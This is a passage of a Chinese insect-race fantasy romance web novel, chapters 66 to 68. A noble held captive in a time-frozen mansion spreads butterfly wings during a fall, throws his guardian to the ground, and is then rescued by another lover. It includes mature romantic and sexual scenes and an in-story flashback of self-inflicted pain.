墨尔庇斯…自从上次那场不欢而散的谈话后,就再也没露过面。府邸里的气氛,曾经一天比一天压抑,压得他喘不过气,好像随时会连同这华丽的牢笼一起彻底坍塌,将他永远掩埋。 但具体是从哪天开始变化的? 好像是三天前——不断累积令人窒息的压迫感,突兀地…停滞了。像按下暂停键,悬停在某个临界点,不再增加,也不再减少。 墨尔庇斯那时最后离开时,和他说: ——不会有人能找到你。你听话,等到…我回来。 等到…什么时候? 是三天前和他说的吗?身体好像又告诉他不止三天,一周?还是一个月?时间的概念在这里变得稀薄。 越想越觉得荒唐。 夜风似乎变得强劲了一些,扑面而来,带着深夜的凉意试图让他清醒。但又仿佛无用,像落入深海,无形的压力从四面八方包裹而来,温柔,却无法抗拒。 又像温水,一点点浸没口鼻,将他拖向意识混沌的深渊,埋入时间的缝隙。 算了。 是不是梦,很快就能知道了。 抬脚跨过门槛,风毫无遮挡地吹来,瞬间卷起他银白的长发,在空中狂乱地飞舞,他眯起眼,望向王爵府的边界。 那里景象奇怪地模糊了,像是隔着一层晃动的、半透明的水幕,无论他如何凝神,都无法看清屏障之外究竟是什么。 他一步步走向边缘木质围栏。夜风鼓荡着他的丝质睡袍,猎猎作响。手搭上木栏,一个利落的翻身,凌空瞬间犹豫一瞬,最后只是轻盈地坐了上去。 双腿悬空,身下是令人眩晕的黑暗高度。风更大了,几乎要将他掀下去,他不得不微微后仰,手指用力扣紧身下的木栏,银发在狂风中彻底失去了束缚,在他身后狂舞,摇摇欲坠。 他微微出神向下望去。 庭院里那些平日里高大的树木,此刻缩成了模糊摇曳的墨绿色影子,树梢在风中发出持续的“沙沙”声。 更远处依然是一片无法穿透的、浓稠的模糊。连思维都开始变得断断续续。 他甚至有点想不起来,自己为什么要费劲爬到这里来了。只觉得好困,想睡觉了。 也是时候到了睡觉时间。 浓重的困意再次席卷而上,瞬间淹没了他的意识堤坝。指尖扣着栏杆的力量减弱,身体向着外侧虚空不自觉地微微倾斜…… “雪因!”一声撕裂的呼喊。 雪因浑身猛地一颤,瞬间清醒!求生的本能让他下意识狠狠抓住即将脱手的栏杆,指甲几乎嵌进朽木,才堪堪稳住差点坠落的身体。一股后知后觉的寒意从尾椎直窜头顶。 他仓皇回头。 远处勾勒出一个高大熟悉的身影,不知何时已站在平台入口处。 墨尔庇斯总是覆盖着面无表情的脸上,出现了从未见过的慌乱。 夜风呼啸,卷过两人之间。 “乖,下来。” 雪因后知后觉地想,墨尔庇斯这似乎是第一次这么温柔的和他说话。 第66章 你是我回报率最差的资产…… 恢复了清醒,雪因眨了眨眼,原本混沌的一切似乎可以看清了,视野与思绪都变得无比清晰。 至少他是这么认为。 又或许更朦胧了。 他没有像墨尔庇斯想的那样,顺从离开危险边缘,退回那间华丽孤寂的寝殿,继续扮演那位高高在上的王爵,当作今夜无事发生。 恰恰相反。 他松开了原本牢牢扣住栏杆的一只手,夜风瞬间失去了阻挡,更加肆意地灌入他单薄的丝质睡衣,将柔软的布料吹得紧贴身躯,猎猎作响。他向夜空探出手,虚虚抓住被流动的乌云不时半掩、显得格外朦胧的月亮。 月光穿透云隙,洒落在他身上,连带着风也变得温柔。 墨尔庇斯不敢动,冷汗流了下来,第一次觉得心脏跳得很快,精神力早已不受控制地将周围死死笼罩住。 看向那个在高处随风微晃,没心没肺只顾着与月光玩闹的雪团。 该是清醒了,又像是彻底傻了。 雪因突然轻笑了一声,看着望不到头却无比真实的远方,一瞬间压抑的东西全都冒了上来,他难得平静,又像是好好休息了一次,内心压抑的东西借着屏障破碎后带来的通透感再也压抑不住。他声音随着风来: “我…经常会时不时冒出一些‘幼稚’的念头,就觉得我们帝国所信奉的一切——尊卑贵贱的身份、高低有别的地位、生来注定的性别等等…都是‘规则’创造出来、精心搭建的布景与戏服。然后我就会忍不住去想…这一切,真的有那么严肃,那么理所当然,不容质疑吗?” “你看,是‘规则’定义了‘雄虫’的珍贵,于是不渴望、不追逐雄虫的雌虫,便被裁定为不合格的瑕疵品;是‘规则’树立了‘军功’的至高荣耀,于是不愿投身战场、不向往铁血功勋的雌虫,自然就成了不求上进、虚度光阴的废物。” “时间是一座永不落幕的巨大舞台。每个虫生来就被分派了角色,我们穿上那身与出身、财富相配的戏服,耗尽一生去扮演那个被期待的模样,战战兢兢,生怕行差踏错。雄虫依仗特权压迫雌虫,雌虫转头鄙夷又依赖,不断纵容加深雄虫的‘软弱’,虫族与虫族之间更是仇恨不断,为了那些听起来冠冕堂皇却虚无缥缈的目标彼此讽刺、伤害。可悲的是,就连这些目标本身,也是‘规则’早早定下的标准,评判我们一生功过对错的,还是那套‘规则’。” “但生命最原本的样子只需要活着,阳光、空气。” “我没有什么目标,于是我看什么都是一场空。我只是被‘规则’制造出来的一部分,因为帝国需要一尊坐在王座上的‘雄虫’神像,来装点门面、稳定虫心,所以‘规则’就把我放在了这里。” “我是我,我又不是‘我’。” “你们总告诫我,说我的渴望太过缥缈、不切实际,劝我不该把信念系在一份虚无缥缈的‘爱’上。可是我到底是什么呢?我本身就是被精心包装过的虚无,剥离了王爵的华美外壳,内里只是一个天真到愚蠢、被‘规则’创造出来的‘不良品’。” “我幼稚地去争、去抢,向这个早已写好剧本的世界大声宣告,我认定的、我所追寻的,才是唯一的正确。在一场空中抓住点温暖就死死攥住,塞进心里,让它生根、发芽,让它填满我与生俱来的空。” “所有虫都在拼命掩饰我的‘错误’,想把偏离轨道的我拽回那条被标注为‘正确’的轨道。可是到底什么是‘正确’?” “我不知道。我也看不清。我觉得世界呈现在我面前的样子,就是它本来的、也只能是这模样。我不敢去质疑,不敢去打破、不敢去否认我自己所认为、所承认的这个世界。如果有一天,我真的‘清醒’过来,去打破我所相信的一切——那么最终破碎的、看清的,不会是这个世界,只会是我。” “那现在呢?墨尔庇斯?” 雪因回过头,目光投向那个因他话语而微微愣住的高大雌虫,居然有些想笑。他也确实没有掩饰,任由笑意在唇边绽开,最近总是笼着薄雾的蓝眼睛弯笑得弯弯的,欣赏着墨尔庇斯堪称傻掉的表情,莫名愉悦:“你告诉我,现在这一切,是真实的么?” “……” 墨尔庇斯沉默。 他的视线牢牢锁在栏杆边那抹身影上,看着摇摇欲坠脆弱不堪的雪团,像是天上月华间偶然洒落的雪,似乎下一阵稍大的风,就能将他吹散、融化,消失在沉沉夜色里。 于是他第一次斟酌着,看着雪因的眼睛,一字一句承诺道: “你想要的一切,都会是真实。” 话音落下,连他自己都怔住了,是他从未有过的陌生的沙哑。 他其实不明白雪因的意思,他也无法理解,这太超出他惯常以力量和结果衡量的世界。他只是本能地顺着对方的话,只是想立刻、马上,将这个不知危险的小雄子从那该死的栏杆上抱下来,塞回绝对安全的领域。理智冷静地评估着,以他的能力有百分之九十九点九九能瞬间让小家伙脱离危险。 但心底最隐秘的角落幽幽冒出一个声音: 万一呢? 真的能牢牢保护住他么? 不止这次,再或者他走之后呢?又或者上一世? 他真的能够承受那一点‘意外’吗? 他向来对自己的力量拥有绝对的自信能保护住雪因的,但此刻他不敢冒险。 无法理解,只是看到小小雄子似乎因为他的承诺而更加开心了。是他不曾见过的样子。 是他从未在雪因脸上见过的神情,如此生动,像冰封的湖面骤然被春风吹开涟漪。这时他才第一次仔细看到这个他一手养大的小雄子的眼睛。 雪因眉眼生得深邃,蔚蓝色的瞳眸平日里总似蒙着一层淡淡化不开的郁色,笑起来也多是矜持而收敛的。只是微微勾起嘴角,眼里那抹郁色便慢慢化开,成了沁入人心的海,慢慢将人溺死在那片温柔里。 尤其是现在,眼眸笑得弯起,漾开一圈圈涟漪,他心头也不由自主也跟着那涟漪的节奏跳动起来。 他想,一定是他太紧张、太害怕失去了。 毕竟雪因是他最特殊、也最麻烦的资产。 是他这生投资回报率最差的资产,也是投入了最多时间与心血的。一个不小心,付出的所有便会白费,因为沉没成本太大,所以才会不由自主引发剧烈的心悸。 墨尔庇斯眼睛都不敢眨,呼吸莫名重了几分,全部注意力都凝聚在雪因身上。 雪因忽然动了。他以撑在栏杆上的手为支点,腰身轻巧地一旋,在空中凌空漂亮地转了个圈。 但依旧坐在了栏杆上,双腿有一下没一下地晃荡起来,一下下,像是晃在墨尔庇斯心弦上。 几缕雪色的长发被夜风裹挟着,飘向墨尔庇斯的方向,随之而来的是他熟悉的、雪因自幼便萦绕的馥郁甜香。 香气丝丝缕缕,一点点像是沁入身体似的,令人意识松懈的麻痹。 “下来。”墨尔庇斯终究还是没忍住,沉声开口。他感觉自己必须说点什么,做点什么,不然心脏都快要被麻痹掉了。 雪因闻声,歪了歪头,连带着银发也向一侧滑落,显得纯然无辜。然后他松开抓着栏杆的手,对着墨尔庇斯所在的方向微微张开。 墨尔庇斯愣住了。看着小雪因笑得天真璀璨朝他张开手。 是在…撒娇吗? 是在想要拥抱么? 是了。这么多年过去,无论外表如何成长,身份如何尊贵,内里他或许还是那个缺爱、怕冷,一边畏惧瑟缩,一边又忍不住想凑上来向他汲取些温暖的小雄子。可惜,他墨尔庇斯本身没什么温度可以给予。雪因靠近只会被冻坏,于是他推开他。 却不想一次次被拒绝,反倒成了雪因的执念? 这一次,墨尔庇斯不打算再推开了。既然想明白了这“索求”行为之下的逻辑,他心下反而一定。 这是一种可以理解、可以掌控的情感需求。以后只需像对待那些下属一样,对雪因也施以恩威并济的手段便好。 多给予一点点他想要的关注或回应,吊着他,便能让他安稳、听话。 想到这里,他松了口气,在脸上扯出一抹算得上温和的笑。 迈开脚步,朝着栏杆边那抹仿佛在等待拥抱的雪因,缓缓走了过去。 就在他即将踏入触手可及的范围时,他看到雪因忽然闭上了眼睛,纤长的银白色睫毛在月光下像落了一层薄霜。在墨尔庇斯瞳孔倒映中,身体没有任何预兆地向后一仰—— 仿佛倦鸟归巢,又似融雪滴落,直直朝着天台外黑暗虚空倒坠下去。 时间,好像变得无限拉长。 所有的思考和权衡都在雪因后仰的瞬间被彻底烧穿,身体先于意识本能跟着纵身跃出了栏杆。 呼啸的风声灌满,失重的感觉攥紧了心脏。 墨尔庇斯的目光却死死锁住了下方。 预想中的惊惶并未出现在雪因脸上。 那双刚刚还对他弯起,蔚蓝眼眸此刻正静静地睁开,仰望着追他而下的自己。眼神没有恐惧,只有一片深海般的平静。 恍惚间,墨尔庇斯仿佛闻到了清冷的花香,看到了幽蓝的光晕,感受到了无边无际的、带着咸涩气息的海洋将他包裹。 他们像是共同坠入无尽深渊的瞬间,一点幽蓝的光,在雪因的背后亮起。 紧接着,是第二点,第三点……无数细碎而璀璨的蓝色光点凭空涌现,如同夜幕被撕开了一道口子,倾泻出星河的一角。以一种玄妙的轨迹流淌、汇聚——一对漂亮到堪称震撼的翅膀,在雪因身后展开。 雪因是极其稀有的蓝色长尾珍蝶。像是将星河生灭的夜空被嫁接到了现实。翅如截取了一段幽邃星河,底色为暗孔雀蓝,覆着天鹅绒般的幽蓝鳞粉,沿银白色翅脉纹路流淌,边缘渐变为冰蓝与紫晕的极光,缀满钻石碎屑般的亮蓝光点。 光尘轻洒,似将夜幕晕染成瑰丽星云。 这是雪因在他面前,第二次展开双翼。 第一次或许是无知懵懂下的本能,而这一次是在生与死的边缘线上,惊心动魄、对美与自由的绝对展示。 它稳稳地承接住了下坠的力道,甚至……有余力承担更多。 小雄子被墨尔庇斯砸得吃痛,闷哼一声,蝶翼在夜空中猛地一沉,剧烈震颤了几下,洒落更多细碎的光点。他咬紧牙关,翅根部迸发出更强的力量,颤抖着,抱住墨尔庇斯,这才没有让两人一同坠下去:“你干嘛?” 墨尔庇斯姿势有些狼狈,他几乎是整个伏在雪因上方,全靠对方展开的双翼和搂抱支撑着悬在空中。他目光有些空茫地落在雪因脸上。 月光与蝶翼的幽蓝辉光交织,照亮了雪因格外明亮的蓝眼睛。 熟悉又陌生。不再是记忆里那个泪水涟涟的小雪团,而是在夜风中展开华翼,因吃痛而紧蹙,却依然能稳稳托住他的雄虫。 雪因被他看得有些不自在,他眨了眨眼,长睫忽闪,语气不自觉地软了下来,试图解释:“不、不用担心我…我会飞的。” “你会飞?”墨尔庇斯重复道,声音低沉,听不出什么情绪,他看着雪因,似疑问似质问。 雪因犹豫一瞬,抿了抿唇,对着墨尔庇斯的眼睛,一字一句地确认:“嗯。不用再担心我,我会飞。”—— 作者有话说:宣告独立的雪团,这卷快结束啦 第67章 锈笼 墨尔庇斯好似是第一次从这个角度看到雪因眼中的世界。 可以看出小雄子不常使用的翅膀承受着两个人的重量还是吃力的,但雪因强撑着,微微咬牙,蔚蓝的眼眸异常坚定地回望着他,里面翻涌着的东西,恍惚真让他嗅到了属于海的暖意。 风轻轻拂过,卷动雄虫清甜纯粹的信息素,几乎将他整个人包裹。 事实上,他整个人也确实在半空中被雪因抱在怀里。 小雄子的手臂环在他腰侧,却很规矩,显得生涩而拘谨,甚至有些无措。紧紧攥住了他腰侧的布料,不可避免地触碰到他紧绷发烫的身体,又会不安地松开几分,退回‘得体’的距离。 确实像他希望的那样,长成了矜持守礼的尊贵雄虫。 他有些希望雪因不要这么有礼,不要这样过分规矩。虽然这是他曾经一直想看到。 但他现在不想看到这个。 他现在只看到——雪因对着他张开了翅膀,漂亮极了。 他现在只想看到——雄虫向他展示漂亮华丽的蝶翼,是求偶的意思。 那他要怎么回应?他不知道,他从来都不知道怎么回应爱。他破壳而出的意义是为了战争、为变强、为压制与毁灭敌人,他的世界由力量构筑,他的手段是制造仇恨、利用仇恨。 他只觉得心脏跳得厉害,陌生剧烈的悸动,让他开始有些狼狈地错开雪因太过干净纯粹的眼眸。 都这个时候了,都向他…求偶了… 可以不那么规矩,可以带点欲色、带点渴望。总之不需要像现在这样太干净纯粹。 不喜欢就不看,于是他遵循着战场上下意识消除威胁的本能,干脆抬起手,一下子覆上了雪因的双眼。 “唔?!”雪因显然措手不及,身体失去平衡,蝶翼也猛地一沉簌簌鳞粉,带来一种躁动的气息。 雪因想落到地面了,在空中总觉得受制于虫。 但墨尔庇斯才不想下去,于是心念微动,用精神力将两人周身一小片区域的时间流速凝滞。 以至于被捂住眼睛、试图摸索着落地的雪因,试探了好几下足尖找不到任何可以依托的地面。 墨尔庇斯却恶劣地笑了,他以为早就忘了那晚的混乱的感受,可现在相似的悸动伴随着掌心下亲密再度袭来,被镇压的感觉便清晰无比地破土而出,鲜明得让他难以压抑。 当时被捂住眼的小雄子就是喜欢这样紧紧抱着他,将脸埋在他颈窝,身上散发着一种很香很香的气息,温顺又很乖,‘雌君雌君’地叫个不停。 年轻的小崽子总是不知疲倦,但就算兴奋得再厉害也不会让他感到疼痛,墨尔庇斯有些不习惯这种纯粹愉悦的投入,心中莫名躁动,于是恩将仇报狠狠咬上了对方肩颈。 小雄子吃痛地闷哼,眼里瞬间蒙上水汽,却并没有报复回来,只是抬起湿漉漉的眼睛,有些无措地、温温柔柔地问他:“是不是……我哪里做得不好,让你觉得不舒服了?” 墨尔庇斯根本不想回他。 于是他学着雪因亲吻的样子,强势地吻了回去。唇齿间的滋味甜得发腻,可总觉得少了点什么,不够。 他故技重施,想在对方唇上留下痛楚,齿尖一次次压上柔软的唇瓣,又莫名舍不得了。 最后只咬破自己舌尖,将腥甜的血渡了过去,在交缠的唇齿间制造出一种暴虐的痛楚。这才是他熟悉的。 他甚至刻意扯过原本挣脱掉的带刺锁链,将它再次缠绕上手臂,尖刺刺入血肉,吸收着他的血液和力量,他却愉悦极了,在极致的感官中叠加制造出一次又一次快痛交缠、濒临崩溃的错觉。 雪因察觉到了。嗅到了空气中的不该有的血腥味,却没有反感,没有厌恶,只是愣了一瞬,然后更紧地抱住了他,微微喘息却依旧温柔地问道:“你…是不是很难受?” 所以才会喜欢伤害自己。 雪因知道自己是谁么?墨尔庇斯有一瞬间愣神,还是…就算不知道,但潜意识藏不住温暖的天性溢了出来。 难受?墨尔庇斯分不清。 他不知道是快乐还是难受,对他来说,痛感能刺破麻木,带来更强烈的存在感与扭曲的愉悦。他说‘没有。这样,很愉悦。’ 雪因又是一愣,然后也学着他的样子,温温柔柔的说:‘那我和你一起疼好不好?’ ……好。 他简直迷糊了,心神有一瞬的涣散,竟真的顺着这不知死活的小混蛋的话语,放松了下来。 紧接着便是雄虫堪称凶狠地标记下来。从他手中抽出不断伤害他的带刺锁链,反客为主。被深入标记的感觉让他彻底疯了,理智崩塌,碎片四溅。 只隐约记得被推上极致云端,看到对方蒙眼的布条滑落,让他心慌意颤,下意识就想重新把那眼睛遮上、藏起来。 只记得滚烫的泪水滴落在胸膛上,又凉又烫。 只记得最后,小雄子一身雪半身淤泥,还不忘扯过外套胡乱盖在他身上。唇色苍白嘴角带血,一路跌跌撞撞、转身赴死。 不记得了 ……不想记得了。 “我不在,你怎么办?”墨尔庇斯将杂乱的回忆塞回脑海,目光落在眼前被捂住眼睛徒劳挣扎了半天,终于放弃而显得有些气鼓鼓的雪因脸上,突兀地开口。 “你不是一直不在么?”雪因开始有些不耐了。忽然想起以墨尔庇斯的实力,就算真掉下去大概也摔不坏,于是胆子大了些,空着的那只手摸索着抓住墨尔庇斯捂他眼睛的手腕,用力想要掰开甩掉。 没想到对方不仅没松手,反而顺势一把抓住了他试图挣脱的手。带有薄茧,似乎极度紧绷带着潮湿汗意。忽紧忽松,似想握住他又不敢用力。 这太奇怪了! 雪因头皮一麻,下意识就要用力甩开。 墨尔庇斯却更加用力,硬生生地将自己的手指挤入了他的指缝,紧紧扣住,十指交缠。 “你干什么?!”灼热的体温和紧张的汗水清晰无比地传递过来。雪因这下是真的有些不知所措、堪称惊恐了,一双眼睛又大又圆,怒吼道。 墨尔庇斯似乎也被自己这种完全失控的、异常亲昵的举动弄得有些不知所措,他看起来紧张极了,胸膛微微起伏,气息有些不稳,却仍死死抓着雪因的手没有松开。 “我、我会回来的。”墨尔庇斯的声音响起,语调依旧平直,没什么起伏,雪因却莫名从中听出了一丝干涸、祈求的涩意。“你、你等等我。” 说着,雪因就感觉与他十指紧扣的手却收得更紧,墨尔庇斯深不见底的眼眸,上方眼睫轻颤,像是想朝他吻来。 雪因这下是彻底不淡定了! 顺着被墨尔庇斯紧紧握住的手猛地发力,腰身顺势一拧,借着悬浮空中重心变换的微妙优势,另一只手臂格挡、牵引—— 漂亮的过肩摔! “砰!” 墨尔庇斯毫无防备,结结实实地被雪因从空中摔落,后背重重砸在了下方地面上。 …… 啊? 看着这个虫族战神、强大到令整个帝国仰望的军团长就这么轻而易举被他!一个雄虫!用简单的格斗技就把墨尔庇斯给过肩摔了?! 雪因蝶翼在身后收拢,化作点点幽蓝光尘消散,他也有些无措,站在地上看在那个堪称狼狈摔在地上的身影。 更让他无措的是。 墨尔庇斯没有立刻起身。也没有恼羞成怒,也没有反击,就这么维持着摔倒的姿势,像是掩盖些什么。 但雪因就有些尴尬了,或许他误会了,墨尔庇斯刚才靠近可能并没有想要轻薄他的意思?毕竟,对方最后也没有真的亲下来。 或许…或许… 反正肯定不会是那种可能!墨尔庇斯不可能喜欢他,众所周知,墨尔庇斯不喜欢弱小的雄虫,不喜欢性格过于温和顺从的雄虫,不喜欢……总之,他雪因身上所拥有的特质,完美避开了墨尔庇斯可能欣赏的所有类型。所以,绝无可能。 “对不起。我、我以为…我…”雪因终于找回了自己的声音,试图解释,毕竟无缘无故给了对方重摔是他的不对。 但雪因刚俯身,想将对方拉起来时,就看到墨尔庇斯迅速站起。背对着雪因,走得很快,堪称狼狈落荒而逃,至终没有让雪因看清他的脸。 —— 此后两天再也没有见到墨尔庇斯的身影。 这倒是其次。 让雪因焦虑的是,他有些分不清现在真实日期了。 自从上次清醒之后,意识到是墨尔庇斯的精神力把他困在一段循环的时间里。他开始想:那么真实的时间…外面已经成了什么样子?虫崽怎么样了?雌父他们呢? 他不知道。焦虑使然,开始制作了远超以往数量的信息素管,今天甚至尝试提取自身血液,小心封存。 累晕了过去,再次醒来窗外又是夜色深沉。 夜风顺着未关严的窗潜入,捎来庭院里略带凉意缱绻的花香。 雪因揉了揉仍有些昏沉的额角,支撑着微微发虚的身体坐起。四周还散落着蔚蓝中蕴含血金色丝线的信息素管,他没有立刻费力去收拾藏入床底,只是扯过凌乱的被子,将它们草草一盖,便起身拖着有些无力的脚步,走向窗,打算将它关紧。 望向偌大的王爵府,这时却看到一只带着不详却又瑰丽的猩红,边缘与翅脉处却洒落着星星点点的雪白斑纹,像雪地里溅开的血,又像烈火中飘落的灰烬的漂亮蝴蝶,随着风跌跌撞撞飞过来。 雪因握住窗的手一顿,朝蝴蝶伸手过去,果然蝴蝶看似摇摇欲坠,最后却稳稳停在了雪因指尖,细长的足肢轻轻抓握,努力张开蝶翼一颤一颤,簌簌掉落星尘,惹得雪因不自觉笑了起来。 一瞬间蝴蝶化作尘埃随风飘散,雪因一怔,目光下意识追随星尘的方向,便看到一只带着伤疤的手,稳稳地按在了他面前的窗台边缘。 温热的身躯贴近,另一只手臂有力地环过他的腰侧,将他整个人半搂入怀中,凑在他耳边幽幽的说:“是谁家的小蝴蝶~这么晚了还不睡,是会被虫神带走做祭品的噢。” 雪因被熟悉的声音一愣,连呼吸都放慢了,忙不迭回头。 对方水红的薄唇红得滴血,目光微凝,妖冶的五官透着邪气,漂亮到心颤,紫眸微微上扬。 雪因张了张嘴,一瞬间,无数个念头冲上脑海,想大声喊他的名字,想像以往无数次那样热烈地扑进他怀里,想死死搂住他倾诉。 但实际上他什么也做不出来,心中压抑的东西堵在喉咙一句话也说不出,最后弥漫上眼眶不受控制地迅速发热、发胀,泪水要掉不掉。 这一下子让方才还带着几分戏谑调笑的诺伊斯慌了神。他立刻双膝跪地,直挺挺地跪在了地板上,由下至上捧住雪因的脸颊,感受着雄虫的温度:“没事了,雪因。别怕,我来了,我来带你离开这里。” “嗯。”雪因抱着他,紧紧抱着他,喉间哽咽得难受。除了简单的气音什么都说不出。 “我们先离开这里,越快越好。来,我带你走。”说着,诺伊斯便调整姿势,准备将雪因稳稳抱起。 雪因回抱了过去又松开。 “等…等一下。” “嗯?”诺伊斯动作一顿,紫眸专注地凝视着他,没有催促,只是伸手,用指腹极为温柔地拭去他眼角的湿意。 雪因咬了咬下唇,最终只是摇了摇头。诺伊斯立刻会意,他什么也没多问,只是站起身在雪因额上落下一吻,然后果断转身,走向卧室门口,低声道:“好,我就在门口守着,你快些。” 雪因一秒也不敢耽搁。他立刻转身,手脚并用地爬向床底,将之前藏匿在那里、和散落在床上的、所有信息素管一股脑地全抱了出来,堆在床上,让它们足够显眼。 不管诺伊斯是如何突破王爵府的重重屏障找到他的,这无疑是唯一的机会,绝不能错过。但还有…弟弟。墨尔庇斯腹中陪伴他太久的虫崽。 雪因的目光扫过那一堆信息素管,这些够用了。 他不知道墨尔庇斯会如何对待那个虫崽,也不知道自己这一走意味着什么。他只能留下这些,这已经是他此刻能想到、能做到的全部。 他最后环顾了一次这座华丽、空旷、囚禁了他不知多久的王爵府。 不再犹豫,他转身快步走向门口,终于像一只挣断丝线的蝶。 伸手,握住了门外诺伊斯一直静静等待、伸向他的手。 诺伊斯的手掌温暖有力,两只手相触的瞬间,两人自然而然滑入指缝,缓缓收紧。 十指交缠,掌心紧密相贴,传递着彼此的体温与脉搏,紧密无间,再难分离—— 作者有话说:囚笼篇结束啦,下一卷是逃亡篇,主要是雪、诺和阿南克。老墨上战场暂时下线,雪因是时候独立成长啦。 第68章 诺伊斯一路都将雪因…… 诺伊斯一路都将雪因小心地半搂在怀中。直到被妥帖地塞进狭小飞行器座椅,雪因还有些恍惚。 居然就这么简单的逃出来了。 一路上顺利到难以置信,没有警报,没有追兵,顺利到就连诺伊斯都微微皱眉。 他启动自动导航,隔着做了隐蔽处理的舷窗,沉沉地回望迅速缩小的王爵府,直到王爵府彻底融入夜色背景消失不见。 这个飞行器很小,也只能容纳两个人。 雪因身上裹着诺伊斯宽大的外套,衣领竖着,遮住小半张脸。诺伊斯说可以掩盖住他的气息,暖暖的。 雪因久违放松了下来,窝在并不算舒服的座位上,可以看出这个小小空间诺伊斯已经尽力布置过,空气中没什么杂乱的机械味道,反而弥漫清冽的青草味。 导航设定完毕,大大小小的仪表盘被各种数值填满,雪因有些好奇,不由得伸手,想去触碰那些跳跃的光点—— 手在半空被另一只温热的手掌包拢。 诺伊斯笑着看他,雪因刚要开口,诺伊斯就迫不及待抱上他,顺势压下,两人一同陷进那狭小柔软的空间。 “诺伊……”雪因还没说完就被炽热的吻堵了回去。 诺伊斯异常急切,辗转地研磨着他的唇瓣。 雪因闭上眼,睫毛轻颤着,只能感到被一点点细细品尝,长久的思念让他没有办法拒绝,也不想拒绝。 “唔……” 雪因气息微乱,面色染上一层薄红,在幽暗的光线下漂亮得惊心动魄。 “殿下……”诺伊斯的声音沙哑得厉害,他撑在雪因身侧的手臂肌肉绷紧,另一只手温柔地抚上雪因的脸颊,一点点描摹着他的眉眼、鼻梁,最后流连在润泽的唇瓣上。 诺伊斯往身上一扯,露出紧实的胸肌,长久不见,他技巧依旧娴熟充满耐心。雪因渐渐额头渗出汗水,无意识地咬住了下唇,手指将诺伊斯的衣领攥得更紧。 “……” 其实雪因有很多话想说,但是诺伊斯看起来却无法控制,不管不顾堵着雪因的唇,直到雪因唇色微微泛红。 直到诺伊斯俯身。 雪因喘息着,抬手抵住了他的胸膛,“不、不要在这里。” 诺伊斯顿住,抬眸看他。紫眸中氤氲着浓郁水光,眼尾泛红,他抬手抹了一下湿润唇角,舌尖舔过。又看了一眼雪因,还是被雄虫眼中的坚定,告知今天怕是无法更进一步了。 “…好、好吧。” “那……继续亲总行了吧?”他不死心地眨眨眼,试图讨价还价,话音未落就又凑了上去,想攫取那两片嫣红。 雪因却偏头躲开,无情地用完就扔,看着诺伊斯嘴角,还是有些心虚嫌弃,“你先去喝水。” “喝完水就可以亲…就可以吻您了么?” 雪因眨了眨眼,不打算继续,干脆假装听不懂。 诺伊斯眼睛瞬间瞪圆了,简直要被雄虫这不知从哪儿学来的无赖样给气笑。 “喂喂喂!”他笑着,伸手不轻不重地捏住雪因一边脸颊,略带惩罚性地摇了摇,“殿下,您是不是忘了点什么?您现在可是我‘劫持’出来的‘人质’,多少该有点人质的自觉啊,我亲爱的小蝴蝶。” 雪因被他捏得含糊抗议,笑着扭动身体试图闪躲,奈何空间实在有限,最终还是被诺伊斯得逞。雌虫将脸深深埋进他温热的颈窝,狠狠地连亲了好几下,这才稍稍平复。 “你怎么找过来的?”雪因确认安全后,蜷在座椅里,手指缠绕着诺伊斯衣角。 胡闹的两虫终于想起了正事。 “…”诺伊斯脸上那点调笑的表情一下消失了。他握住雪因的手,掌心温暖有力的温度传来,注视着雪因蓝眸,“帝星已经不安全了,我们要尽快离开。” “怎么回事?” “……”诺伊斯斟酌着,握着雪因手的力道时轻时重,他嘴唇翕动了几下,才艰难地开口,“雪因,我先说清楚,首先我绝对没有诋毁任何虫的意思…这段时间,真的发生了很多事。” “你说。”雪因被他眼中的严肃感染,不由得微微坐直了身体。 “墨尔庇斯想杀你。” “…什么?”雪因一时没能理解这句话的意思,甚至怀疑自己听错了。 “啊啊啊!”诺伊斯有些烦躁,猛地转开脸,又不耐地转回来,欲言又止,最后干脆半跪在雪因面前,将额头抵在雪因的膝上,就这么看着雪因。“他真的不对劲,他想杀你,或者说…他想让你彻底消失、把你藏起来,让任何虫都找不到你。” “我…我这段时间…做了…得到一些消息。墨尔庇斯变得很奇怪,他杀了很多虫。” “半个月前的元帅授衔典礼,我以为他至少会带你出席,可他没有。” “有几位元老院的大臣当众质疑他囚禁王爵,结果他就在直播镜头前,直接杀了他们。后来更是…我不知道有多少,但是这段时间人心惶惶,不同派系的、持反对意见的…几乎都被血洗了一遍,我们不知道他想做什么。” “后来听说你雌父去王爵府,受了伤…” “我雌父怎么了?!”诺伊斯说前面有关墨尔庇斯的事雪因还能勉强忍住,但听到雌父出事雪因一下子着急了,一把揪住了诺伊斯的衣领,迫使他抬起头看着自己。 诺伊斯被他勒得闷哼一声,却没有挣脱,反而伸手轻轻抚上雪因紧绷的脸颊,试图安抚,“别急,听说没有生命危险,只是他们意见不合,动了手…伤肯定是受了。” “后来,墨尔庇斯的精神力控制了整个王爵府,据说他的能力和时间立场有关,我…得到消息,你先别问怎么得到的,但我跟你保证来源真实。消息说——墨尔庇斯用他的精神力,把整个王爵府拖进了一个与外界时间流速不同的‘场’里。他不放心把你交给任何虫…所以他想,如果他能从战场活着回来,就解除这个‘场’;如果他回不来…” 诺伊斯的声音哽了一下,才艰难地吐出后面的话:“…他就让你,永远困在那段停滞的时间里,和他一起…消失。” 雪因瞳孔骤缩,浑身的血液似乎都凉了一瞬。原来之前被困在时间里不是错觉。 “我们想尽办法要救你出来,但没人能打破他的屏障。” 诺伊斯语速加快,“直到两天前,那个‘场’突然自己崩溃了。而且不止是墨尔庇斯,还有大皇子…他和你雌父、和墨尔庇斯都有旧怨,就等着墨尔庇斯上战场后抓住你,现在很多虫开始都蠢蠢欲动想抓你…墨尔庇斯杀了一批,但他杀不完。” “无论如何,你不能继续留在帝星。帝星已经不再安全。”诺伊斯看着雪因的眼睛。 “雪因,没时间了。” 雪因其实没有想清楚,一瞬间大量的信息灌入他也混乱得很,但他没有立刻答应诺伊斯,只是下意识地摇头。微微带着歉意:“不…我要先去看看雌父。” 诺伊斯怔了一下,有些难以置信看着雪因,带着笑道:“哇,我们殿下能想到这个我真的太感动了…” “你笑什么!”雪因被他笑得脸颊微热,有些羞恼地想去捂他的嘴。 “怎么不能说啊,”诺伊斯闪躲着雪因伸来的手,不饶人继续说:“我一直很担心,怕您听到这些,又不管不顾地要冲回去,找墨尔庇斯当面对峙才肯罢休” “我才不会这么笨!” “不会吗?”诺伊斯挑眉,抓住雪因的双手压在上方,鼻尖对着雪因,“要我帮殿下仔细回想一下~您是怎么被关起来的么?” “……” “对不起。”雪因心虚之余又松了口气,看起来诺伊斯没有因为他自作主张生气,“之前是我太冲动了,以后不会了。” 